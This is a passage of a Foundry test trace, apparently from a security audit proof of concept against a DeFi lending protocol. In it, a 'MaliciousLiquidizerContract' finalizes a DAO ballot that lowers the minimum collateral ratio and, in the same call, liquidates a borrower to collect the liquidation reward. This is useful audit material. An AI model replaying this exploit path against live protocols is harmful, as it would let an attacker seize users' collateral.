[0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 2000000000000000000000 [2e21]) │ │ └─ ← true │ ├─ [73888] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 10000000000 [1e10], 2000000000000000000000 [2e21], 0, 0) │ │ ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10]) │ │ │ └─ ← true │ │ ├─ [22007] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 2000000000000000000000 [2e21]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 2000000000000000000000 [2e21]) │ │ │ └─ ← true │ │ ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA: 10000000000 [1e10], addedAmountB: 2000000000000000000000 [2e21], addedLiquidity: 2000000000010000000000 [2e21]) │ │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21], 2000000000010000000000 [2e21] │ ├─ [2510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall] │ │ └─ ← true │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [2328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ ├─ emit UserShareIncreased(wallet: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 2000000000010000000000 [2e21]) │ ├─ emit LiquidityDeposited(user: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 10000000000 [1e10], amountB: 2000000000000000000000 [2e21], addedLiquidity: 2000000000010000000000 [2e21]) │ ├─ emit CollateralDeposited(depositor: 0x73107dA86708c2DAd0D91388fB057EeE3E2581aF, amountWBTC: 10000000000 [1e10], amountWETH: 2000000000000000000000 [2e21], liquidity: 2000000000010000000000 [2e21]) │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21], 2000000000010000000000 [2e21] ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000001111) │ └─ ← () ├─ [4703] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [4703] TestERC20::approve(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000001111, spender: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]) │ └─ ← true ├─ [148256] CollateralAndLiquidity::depositCollateralAndIncreaseShare(10000000000 [1e10], 2000000000000000000000 [2e21], 0, 1710844237 [1.71e9], false) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [20520] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10]) │ │ └─ ← true │ ├─ [20520] TestERC20::transferFrom(0x0000000000000000000000000000000000001111, CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 2000000000000000000000 [2e21]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000001111, to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 2000000000000000000000 [2e21]) │ │ └─ ← true │ ├─ [22503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10]) │ │ └─ ← true │ ├─ [22503] TestERC20::approve(Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 2000000000000000000000 [2e21]) │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 2000000000000000000000 [2e21]) │ │ └─ ← true │ ├─ [18368] Pools::addLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 10000000000 [1e10], 2000000000000000000000 [2e21], 0, 2000000000010000000000 [2e21]) │ │ ├─ [4487] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 10000000000 [1e10]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 10000000000 [1e10]) │ │ │ └─ ← true │ │ ├─ [4487] TestERC20::transferFrom(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], 2000000000000000000000 [2e21]) │ │ │ ├─ emit Approval(owner: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], spender: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 0) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], value: 2000000000000000000000 [2e21]) │ │ │ └─ ← true │ │ ├─ emit LiquidityAdded(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], addedAmountA: 10000000000 [1e10], addedAmountB: 2000000000000000000000 [2e21], addedLiquidity: 2000000000010000000000 [2e21]) │ │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21], 2000000000010000000000 [2e21] │ ├─ [510] PoolsConfig::isWhitelisted(0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55) [staticcall] │ │ └─ ← true │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountIncreased: 2000000000010000000000 [2e21]) │ ├─ emit LiquidityDeposited(user: 0x0000000000000000000000000000000000001111, tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], amountA: 10000000000 [1e10], amountB: 2000000000000000000000 [2e21], addedLiquidity: 2000000000010000000000 [2e21]) │ ├─ emit CollateralDeposited(depositor: 0x0000000000000000000000000000000000001111, amountWBTC: 10000000000 [1e10], amountWETH: 2000000000000000000000 [2e21], liquidity: 2000000000010000000000 [2e21]) │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21], 2000000000010000000000 [2e21] ├─ [40180] CollateralAndLiquidity::maxBorrowableUSDS(0x0000000000000000000000000000000000001111) [staticcall] │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 20000000000 [2e10], 4000000000000000000000 [4e21] │ ├─ [16793] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [2326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ └─ ← 29495000000000000000000 [2.949e22] │ ├─ [6107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [2271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ └─ ← 1879000000000000000000 [1.879e21] │ ├─ [2307] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::ac5d1535() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000878678326eac900000 │ ├─ [2328] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::e69800c8() [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000000000000000000000000000c8 │ └─ ← 3353750000000000000000000 [3.353e24] ├─ [142022] CollateralAndLiquidity::borrowUSDS(3353750000000000000000000 [3.353e24]) │ ├─ [1886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ ├─ [706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000001111) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ └─ ← 20000000000 [2e10], 4000000000000000000000 [4e21] │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ └─ ← 29495000000000000000000 [2.949e22] │ │ └─ ← 29495000000000000000000 [2.949e22] │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ └─ ← 1879000000000000000000 [1.879e21] │ │ └─ ← 1879000000000000000000 [1.879e21] │ ├─ [307] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::ac5d1535() [staticcall] │ │ └─ ← 0x0000000000000000000000000000000000000000000000878678326eac900000 │ ├─ [328] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::e69800c8() [staticcall] │ │ └─ ← 0x00000000000000000000000000000000000000000000000000000000000000c8 │ ├─ [33153] USDS::mintTo(0x0000000000000000000000000000000000001111, 3353750000000000000000000 [3.353e24]) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000001111, value: 3353750000000000000000000 [3.353e24]) │ │ ├─ emit USDSMinted(to: 0x0000000000000000000000000000000000001111, amount: 3353750000000000000000000 [3.353e24]) │ │ └─ ← () │ ├─ emit BorrowedUSDS(borrower: 0x0000000000000000000000000000000000001111, amountBorrowed: 3353750000000000000000000 [3.353e24]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x73107dA86708c2DAd0D91388fB057EeE3E2581aF) │ └─ ← () ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ └─ ← 29495000000000000000000 [2.949e22] ├─ [5299] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::setBTCPrice(15927300000000000000000 [1.592e22]) │ └─ ← () ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ └─ ← 1879000000000000000000 [1.879e21] ├─ [3298] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::setETHPrice(1014660000000000000000 [1.014e21]) │ └─ ← () ├─ [0] VM::stopPrank() │ └─ ← () ├─ [0] VM::startPrank(0x0000000000000000000000000000000000002222) │ └─ ← () ├─ [24604] Salt::approve(Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 1000000000000000000000000 [1e24]) │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 1000000000000000000000000 [1e24]) │ └─ ← true ├─ [70172] Staking::stakeSALT(1000000000000000000000000 [1e24]) │ ├─ [3886] ExchangeConfig::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ ├─ [2706] AccessManager::walletHasAccess(0x0000000000000000000000000000000000002222) [staticcall] │ │ │ └─ ← true │ │ └─ ← true │ ├─ [333] PoolsConfig::isWhitelisted(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← true │ ├─ emit UserShareIncreased(wallet: 0x0000000000000000000000000000000000002222, poolID: 0x0000000000000000000000000000000000000000000000000000000000000000, amountIncreased: 1000000000000000000000000 [1e24]) │ ├─ [22025] Salt::transferFrom(0x0000000000000000000000000000000000002222, Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], 1000000000000000000000000 [1e24]) │ │ ├─ emit Approval(owner: 0x0000000000000000000000000000000000002222, spender: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 0) │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000002222, to: Staking: [0x57dF464A6eB26781a05556f95a4b8c7AE5B7aae3], value: 1000000000000000000000000 [1e24]) │ │ └─ ← true │ ├─ emit SALTStaked(user: 0x0000000000000000000000000000000000002222, amountStaked: 1000000000000000000000000 [1e24]) │ └─ ← () ├─ [298371] Proposals::proposeParameterBallot(14, description) │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 1000000000000000000000000 [1e24] │ ├─ [2329] DAOConfig::requiredProposalPercentStakeTimes1000() [staticcall] │ │ └─ ← 500 │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000002222, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 1000000000000000000000000 [1e24] │ ├─ [2352] DAOConfig::ballotMinimumDuration() [staticcall] │ │ └─ ← 864000 [8.64e5] │ ├─ emit ProposalCreated(ballotID: 1, ballotType: 0, ballotName: parameter:14) │ └─ ← 1 ├─ [54554] Proposals::castVote(1, 0) │ ├─ [701] Staking::userShareForPool(0x0000000000000000000000000000000000002222, 0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ └─ ← 1000000000000000000000000 [1e24] │ ├─ emit VoteCast(voter: 0x0000000000000000000000000000000000002222, ballotID: 1, vote: 0, votingPower: 1000000000000000000000000 [1e24]) │ └─ ← () ├─ [0] VM::warp(1711794637 [1.711e9]) │ └─ ← () ├─ [318396] → new MaliciousLiquidizerContract@0x04A2eCC73b0C11833c06EF62e84Ac8113A446912 │ └─ ← 1590 bytes of code ├─ [2561] TestERC20::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 25000000000 [2.5e10] ├─ [2561] TestERC20::balanceOf(0x0000000000000000000000000000000000002222) [staticcall] │ └─ ← 250000000000000000000000 [2.5e23] ├─ [253312] MaliciousLiquidizerContract::finalizeBallotAndLiquidizeAllUsers(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99], 1) │ ├─ [48664] DAO::finalizeBallot(1) │ │ ├─ [18729] Proposals::canFinalizeBallot(1) [staticcall] │ │ │ ├─ [529] Staking::totalShares(0x0000000000000000000000000000000000000000000000000000000000000000) [staticcall] │ │ │ │ └─ ← 1000000000000000000000000 [1e24] │ │ │ ├─ [2374] DAOConfig::baseBallotQuorumPercentTimes1000() [staticcall] │ │ │ │ └─ ← 10000 [1e4] │ │ │ ├─ [260] ExchangeConfig::salt() [staticcall] │ │ │ │ └─ ← Salt: [0x1d2Ef6eb8C15fEc174E7A9c30F21764d467423b1] │ │ │ ├─ [2349] Salt::totalSupply() [staticcall] │ │ │ │ └─ ← 100000000000000000000000000 [1e26] │ │ │ └─ ← true │ │ ├─ [4651] Proposals::ballotForID(1) [staticcall] │ │ │ └─ ← (1, true, 0, parameter:14, 0x0000000000000000000000000000000000000000, 14, , description, 1711708237 [1.711e9]) │ │ ├─ [4651] Proposals::ballotForID(1) [staticcall] │ │ │ └─ ← (1, true, 0, parameter:14, 0x0000000000000000000000000000000000000000, 14, , description, 1711708237 [1.711e9]) │ │ ├─ [1047] Proposals::winningParameterVote(1) [staticcall] │ │ │ └─ ← 0 │ │ ├─ [8927] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::b2a550b3(0000000000000000000000000000000000000000000000000000000000000001) │ │ │ ├─ emit MinimumCollateralRatioPercentChanged(newMinimumCollateralRatioPercent: 111) │ │ │ └─ ← () │ │ ├─ [6516] Proposals::markBallotAsFinalized(1) │ │ │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ │ │ ├─ emit BallotFinalized(ballotID: 1) │ │ │ └─ ← () │ │ ├─ emit BallotFinalized(ballotID: 1, winningVote: 0) │ │ └─ ← () │ ├─ [15268] CollateralAndLiquidity::findLiquidatableUsers() [staticcall] │ │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ │ └─ ← 20000000000 [2e10], 4000000000000000000000 [4e21] │ │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [329] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::7fb93ade() [staticcall] │ │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000000006f │ │ └─ ← [0x0000000000000000000000000000000000001111] │ ├─ [188733] CollateralAndLiquidity::liquidateUser(0x0000000000000000000000000000000000001111) │ │ ├─ [1197] Pools::getPoolReserves(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2]) [staticcall] │ │ │ └─ ← 20000000000 [2e10], 4000000000000000000000 [4e21] │ │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [329] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::7fb93ade() [staticcall] │ │ │ └─ ← 0x000000000000000000000000000000000000000000000000000000000000006f │ │ ├─ [54672] Pools::removeLiquidity(TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], 2000000000010000000000 [2e21], 0, 0, 4000000000020000000000 [4e21]) │ │ │ ├─ [22934] TestERC20::transfer(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 10000000000 [1e10]) │ │ │ │ ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 10000000000 [1e10]) │ │ │ │ └─ ← true │ │ │ ├─ [22934] TestERC20::transfer(CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], 2000000000000000000000 [2e21]) │ │ │ │ ├─ emit Transfer(from: Pools: [0x9230890252C028b4a45A40F460c721a6AAD4763e], to: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], value: 2000000000000000000000 [2e21]) │ │ │ │ └─ ← true │ │ │ ├─ emit LiquidityRemoved(tokenA: TestERC20: [0xd47A53557a81B3A98855e6417F43F1df9a642a98], tokenB: TestERC20: [0xaaEf7d54395fc25960E06720401f0C68280E25b2], reclaimedA: 10000000000 [1e10], reclaimedB: 2000000000000000000000 [2e21], removedLiquidity: 2000000000010000000000 [2e21]) │ │ │ └─ ← 10000000000 [1e10], 2000000000000000000000 [2e21] │ │ ├─ [370] ExchangeConfig::dao() [staticcall] │ │ │ └─ ← DAO: [0xAE65Fd081a1aAf0199d46D6101263489CcE9bd99] │ │ ├─ [328] 0x01a1B171D93B7c5e0dF57a10465D905cb32Bb4C7::9852e419() [staticcall] │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000e10 │ │ ├─ emit UserShareDecreased(wallet: 0x0000000000000000000000000000000000001111, poolID: 0xb3c31de4eb268467070b1c55e9f4424b08f0ad6036d6a0b77a2a5b838ac78b55, amountDecreased: 2000000000010000000000 [2e21], claimedRewards: 0) │ │ ├─ [2373] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::91e7cdbc() [staticcall] │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000005 │ │ ├─ [4293] PriceAggregator::getPriceBTC() [staticcall] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ ├─ [326] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceBTC() [staticcall] │ │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ │ └─ ← 15927300000000000000000 [1.592e22] │ │ ├─ [4107] PriceAggregator::getPriceETH() [staticcall] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ ├─ [271] 0x3B0Eb37f26b502bAe83df4eCc54afBDfb90B5d3a::getPriceETH() [staticcall] │ │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ │ └─ ← 1014660000000000000000 [1.014e21] │ │ ├─ [2372] 0x16074F4a0496a2ED41b6344d8f838fbA0C5Af024::fab706bb() [staticcall] │ │ │ └─ ← 0x00000000000000000000000000000000000000000000001b1ae4d6e2ef500000 │ │ ├─ [24934] TestERC20::transfer(MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], 1380433 [1.38e6]) │ │ │ ├─ emit Transfer(from: CollateralAndLiquidity: [0x933410f4a1fe18bb4c5ae1F01E9FC6f8dD0B6d4C], to: MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], value: 1380433 [1.38e6]) │ │ │ └─ ← true │ │ ├─ [24934] TestERC20::transfer(MaliciousLiquidizerContract: [0x04A2eCC73b0C11833c06EF62e84Ac8113A446912], 